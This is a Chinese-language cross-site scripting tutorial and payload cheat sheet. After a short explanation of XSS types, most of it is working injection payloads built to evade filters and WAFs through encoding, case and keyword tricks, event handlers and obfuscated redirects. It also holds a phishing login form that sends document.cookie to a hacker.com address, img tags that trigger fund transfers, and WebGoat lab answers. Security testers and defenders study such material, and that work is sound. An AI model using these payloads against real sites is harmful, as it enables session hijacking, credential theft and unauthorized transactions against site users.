**Xss原理**：输出问题导致的js代码被执行

**XSS 分类**： 非持久性，持久性和基于 Dom（此类可以是持久的，也可以是不持久的）

**非持久性**:非持久性 XSS 也被称为**反射性 XSS**，是目前最普遍的类型，当攻击者提供了一些代码的时候， 服务器端马上就会返回页面的执行结果。举个例子，就比如某个网页上的搜索引擎，如果攻击者搜索的字 符串包含了一些 html 标签，通常来说，搜索的结果就会以该形式显示出来，或者，至少，搜索的字符串 会包含在页面里。而这个我们是可以修改的，如果任何搜索的字符串都没有被 html 编码，XSS 漏洞就产 生了。

**持久性 XSS**:也叫做**存储型 XSS**，或是二次漏洞，他能够导致更加有效的攻击。当攻击者提交到 web 应用 程序里的数据会永久性的存储到服务器的时候会产生这类漏洞，(比如数据库，文件系统，其他位置)，之 后，如果没有经过 HTML 编码，那么每一个访问该页面的用户都会被攻击，典型的例子就是在线留言板， 它允许用户提交数据。

**基于 DOM 的 XSS**:也叫做本地跨站，基于 html/xml 上叫做文档对象模型(DOM)的标准对象模型，这类 漏洞，问题出现在页面的客户端脚本上，比如，如果一个 javascript 脚本处理 url 请求参数，然后使用这 个参数值来显示给用户页面，没有经过任何编码，那么 XSS 漏洞产生，和非持久的类似，攻击者可以用恶 意代码填充这个参数，然后覆写的页面诱骗用户点击，然后就会被浏览器解析成 html，包含了恶意的脚本 代码。

发现 XSS漏洞

最常用的 XSS 漏洞测试代码：:

<script>alert("XSS")</script>

当这个代码被注入到输入框或是 url 参数的时候，会成功也可能会失败，如果失败了。也不意味着网站就 是安全的。需要继续渗透。

XSS绕过过滤

转义字符串

第一步是查看当前的页面源代码，看看是不是包含了我们的这个测试的字符串，如果你发现了。你就会发 现很有意思。要细心。看到了把。是在一个输入(INput)标签里。

<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>

在这个例子，我们可以修改我们的输入来包含两个字符，来让代码跳出那对外围的单引号，

'><SCRIPT>alert("XSS")</SCRIPT>

现在我们的代码执行了。因为我们闭合了前面的 html 标签，就触发了 XSS，但是，你可能会发现，页面 上会显示一个多出来的单引号，为什么，因为后面的那个原来的单引号没有匹配，我们继续修改我们的代 码。

'><SCRIPT>alert("XSS")</SCRIPT><xss a='

所有的输入就会变成这样:

<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>

Ok 了。Javascript 代码就注入了。<xss a=”>这个没什么意义，你可以自己改，但是符合 html 的标准， 页面不会出错。

绕过单引号过滤继续！

同样的例子，但是我们假设管理员在我们的单引号之前放置了一个“\”，有时候双引号之前也会放置，通 过一些类似 add\_slashes 的函数可以实现，这个就是转义字符，我们先前的代码就会变成这样：

<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

有一些方法可以继续，但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体，学过 html 的都知道，就是一些特殊字符会用一些固有的符号组合来表示，举个例子，你不能用<>表示大于和小于， 因为这被解释为 html 标签，但是，你如果要用，可以用下面的来代替。

&#34; &quot; " 双引号

&#38; &amp; & &符号

&#60; &lt; < 小于号

&#62; &gt; > 大于号

使用&quot;或者&#34; 来代替我们的双引号，有时候可以绕过过滤。 例子:

<script>alert("XSS")</script> <script>alert(&quot;XSS&quot;)</script> <script>alert(&#38;XSS&#38;)</script>

如果这都被过滤了。那我们可以使用 JavaScript 的 fromCharCode 函数，这个函数把指定的 Unicode 值转换成字符串。

比如:

<script>alert("XSS")</script> <script>alert(String.fromCharCode(88,83,83))</script>

<INPUT type="text" value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>

你可以使用 Mysql 数据库的 char（字符，字符）来转换字符到字符码，大家可以使用自己喜欢的就行了。 转码的工具还是很多的。

绕过 <SCRIPT> 过滤

有些过滤器会过滤到<script>标签，那上面的例子就都废了，但是。还是有方法插入 javascript 的。我 们看看事件处理器的例子。

<BODY onload="alert('XSS')">

在 html 里啊。这个 Onload 关键字就是一个事件，其他的所有标签都没有这个属性，但是 Body 标签是 有的。但是，有一定的局限性，如果 onload 事件在你的代码之前已经被处理了。那就不会触发了。。不 过我们可以继续看看 onerror 事件处理。

<IMG SRC="" onerror="alert('XSS')">

注意看，图片没有指定，也就是出错了。Onerror 这个事件就会发茶。引发 XSS 漏洞，没有用<script> 标签哦。

使用 IMG 源

Html 中最常用的两个标签 img 和 a href 一般是不会过滤的，一个指定图片，一个指定超链接。最危险的 事 img 标签。

下面是一些例子:

标准的样子：

<IMG SRC="javascript:alert('XSS');">

没有双引号和分号:

<IMG SRC=javascript:alert('XSS')>

过滤了双引号和<script>:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

使用 CharCode 绕过过滤:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

有经验的攻击者也可以把上面的全部转换成相等的 Ascii 码:

<IMG

SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#10 1; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

使用 Ascii 表你可以自己试试。当然转换成 16 进制也是可以的。。

<IMG

SRC=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C ;& #x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>

使用制表符, 换行符和回车符

这些符号都是可以用来欺骗过滤器的。

<IMG SRC="jav&#x9ascript:alert('XSS');">

上面的例子使用了最小的十六进制的制表符来欺骗过滤器。最后的输出结果不变

<IMG SRC="javascript:alert('XSS');">

Type Horizontal Tab New line Carriage Return

URL %09 %10 %13

Minimal Sized Hex &#x9 &#xA &#xD

Maximum Sized Hex &#x0000009; &#x000000A; &#x000000D;

Minimum Sized Decimal &#9 &#10 &#13

Maximum Sized Decimal &#x0000009; &#x0000009; &#0000009;

使用空字符

另一个可以绕过的就是空字符，这是最有效的工具了。。

下面这个就是个例子。:

<SCR%00IPT>alert("XSS")</SCRIPT>

空字符 (%00) 使得过滤器不能看到完整的 <SCRIPT> 标签. 只在 IE 6.0, IE 7.0 可以。

双引号配对的 bug

绕过这种过滤就是寻找闭合的标签，然后构造来突破

比如:

<IMG """><SCRIPT>alert('XSS')</SCRIPT>">

通常我们认为，img 标签里。前两个引号被认为是一对，什么都不做，下一个引号和最后的匹配，但是事 实不是这样，所有的浏览器都在试图修正这一问题。

结果最终如下:

<img><script>alert('xss')</script>"&gt;

绕过 CSS过滤器

HTML 标签用来插入 javaScript 很有用，但是 CSS 也是可以的哦。有很多方式向 CSS 里插入 XSS，所 有更多的方法可以攻击，嘴尖的方法是吧 XSS 代码放到 LINK 方式引用的 CSS 的 href 属性里面去

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

Ie7 已经不允许了。但是 opera 和 ie6 还是可以的。。

另一个方式是使用<STYLE>标签，不是很常见，一般是论坛啊。允许用户设计自己的贴的源代码的时候。

<STYLE> a { width: expression(alert('XSS')) } </STYLE>

还有一种方式

<DIV STYLE="width: expression(alert('XSS'));">

不全面的过滤器

我们看看当开发者已经把能想到的都过滤了或者什么的。就安全了吗？不。我们可以依然可以向数据指令 (我前段时间还看到了。现在忘了这个准确的翻译了)里插入代码。我们通过 base64 加密 <script>alert(‘XSS’)</script>.

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4 K">

数据指令允许我们把完全的文档变成一个单一的字符串。在火狐等浏览器都可以用。尼玛没说具体的用法。

使用双引号

如果你需要使用双引号和单引号。使用一些诡异的用法把。。

<IMG SRC=`javascript:alert("Look its, 'XSS'")`>

转义字符

转义字符有时候很有用，可以对付一些简单的过滤器 <IMG SRC=`javascript:alert(\"XSS\")`>

结果如下:

<IMG SRC=`javascript:alert(\\"XSS\\")`>

编码

使用 utf-7 编码可以绕过

比如

<script>alert("XSS")</script>

使用 UTF-7 编码后:

+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-

然后所有的加号需要被改成%2b，否则会被浏览器识别为连接符

%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-

一个列表:

字符 实体引用

空格 %20

/ %2F

" %22

? %3F

+ %2B

**盗取cookie，账号密码的钓鱼：**

<div><br><br>拍拍网登录<form

action=\"http:lwww.hacker.comlgetinfo?cookie=\"+document.cookie><table><tr><td>Login:</td><td><input

type=text length=20 name=login></td></tr><tr><td>Password:</td><td> <input type=text length=20

name=password></td></tr></table><input type=submit value=LOGIN></div>

js代码：

<script>alert(1)</script>

<img src="http://www.mybank.com/sendFunds.do?acctld=123456"/>

<img src="http://localhost/WebGoat/attack?Screen=81&menu=210&transferFunds=5000" width="1" height="1"/>

题目叫我们用WebGoat/images/logos/owasp.jpg 图片来污染网页

可以看到当我们在文本框中出入字符后网页会立即显示输入的字符，所以我在文本框中输入如下的html代码<img src="images/logos/owasp.jpg"/>，提交后STAGE1完成

**Stage2：**

文本框中输入<img src=x onerror=;;alert('XSS')/>

**Stage3：**

在文本框中输入

<IFRAMESRC="javascript:alert('XSS');"></IFRAME>"

**Stage4：**

在文本框中输入Please enter yourpassword:<BR><input type = "password"name="pass"/><button onClick="javascript:alert('I haveyour password: ' +pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>

空格 - %20  
" - %22  
# - %23  
% - %25  
& - %26  
( - %28  
) - %29  
+ - %2B  
, - %2C  
/ - %2F  
: - %3A  
; - %3B  
< - %3C  
= - %3D

**绕过waf：**

<script>alert(1)</script>

<sCript>alert(1)</sCript>

<%23Cript>alert(1)</%23Cript>

<sCri’%2B’’pt>alert(1)</sCri’%2B’’pt>

<details open ontoggle=top[‘alert’](1)>

<details open ontoggle=top[‘al’%2B’’ert’](1)>

<details open ontoggle=self[‘al’%2B’’ert’](1)>

<details open ontoggle=parent[‘al’%2B’’ert’](1)>

<details open ontoggle=frames[‘al’%2B’’ert’](1)>

<details open ontoggle=content[‘al’%2B’’ert’](1)>

<details open ontoggle=window[‘al’%2B’’ert’](1)>

<details open ontoggle=top[8680439..toString(32)](1);>

<img src=1 onerror=alert(1);>

<img src=1 alt=al lang=ert onerror=top[alt%2Blang](0)>

<input onfocus=”alert(1);”>

竞争焦点，从而触发onblur事件

<input onblur=alert("xss") autofocus><input autofocus>

通过autofocus属性执行本身的focus事件，这个向量是使焦点自动跳到输入元素上,触发焦点事件，无需用户去触发

<input onfocus="alert('xss');" autofocus>

### <details>

<details ontoggle="alert('xss');">

使用open属性触发ontoggle事件，无需用户去触发

<details open ontoggle="alert('xss');">

### <svg>

<svg onload=alert("xss");>

### <select>

<select onfocus=alert(1)></select>

通过autofocus属性执行本身的focus事件，这个向量是使焦点自动跳到输入元素上,触发焦点事件，无需用户去触发

<select onfocus=alert(1) autofocus>

### <iframe>

<iframe onload=alert("xss");></iframe>

### <video>

<video><source onerror="alert(1)">

### <audio>

<audio src=x onerror=alert("xss");>

### <body>

<body/onload=alert("xss");>

利用换行符以及autofocus，自动去触发onscroll事件，无需用户去触发

<body

onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

### <textarea>

<textarea onfocus=alert("xss"); autofocus>

### <keygen>

<keygen autofocus onfocus=alert(1)> //仅限火狐

### <marquee>

<marquee onstart=alert("xss")></marquee> //Chrome不行，火狐和IE都可以

### <isindex>

<isindex type=image src=1 onerror=alert("xss")>//仅限于IE

### 利用link远程包含js文件

**PS：在无CSP的情况下才可以**

<link rel=import href="http://127.0.0.1/1.js">

### javascript伪协议

<a>标签

<a href="javascript:alert(`xss`);">xss</a>

<iframe>标签

<iframe src=javascript:alert('xss');></iframe>

<img>标签

<img src=javascript:alert('xss')>//IE7以下

<form>标签

<form action="Javascript:alert(1)"><input type=submit>

### 其它

expression属性

<img style="xss:expression(alert('xss''))"> // IE7以下

<div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下

<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下

background属性

<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

# 有过滤的情况下

## 过滤空格

用/代替空格

<img/src="x"/onerror=alert("xss");>

## 过滤关键字

### 大小写绕过

<ImG sRc=x onerRor=alert("xss");>

### 双写关键字

有些waf可能会只替换一次且是替换为空，这种情况下我们可以考虑双写关键字绕过

<imimgg srsrcc=x onerror=alert("xss");>

### 字符拼接

利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

<script>top["al"+"ert"](`xss`);</script>

### 其它字符混淆

有的waf可能是用正则表达式去检测是否有xss攻击，如果我们能fuzz出正则的规则，则我们就可以使用其它字符去混淆我们注入的代码了  
下面举几个简单的例子

可利用注释、标签的优先级等

1.<<script>alert("xss");//<</script>

2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高，所以会先闭合title，从而导致前面的img标签无效

3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

### 编码绕过

Unicode编码绕过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制

<img src=x onerror=alert('\170\163\163')>

base64绕过

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

## 过滤双引号，单引号

1.如果是html标签中，我们可以不用引号。如果是在js中，我们可以用反引号代替单双引号

<img src="x" onerror=alert(`xss`);>

2.使用编码绕过，具体看上面我列举的例子，我就不多赘述了

## 过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

## 过滤url地址

### 使用url编码

<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

### 使用IP

1.十进制IP

<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP

<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex

<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://

<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用\\

但是要注意在windows下\本身就有特殊用途，是一个path 的写法，所以\\在Windows下是file协议，在linux下才会是当前域的协议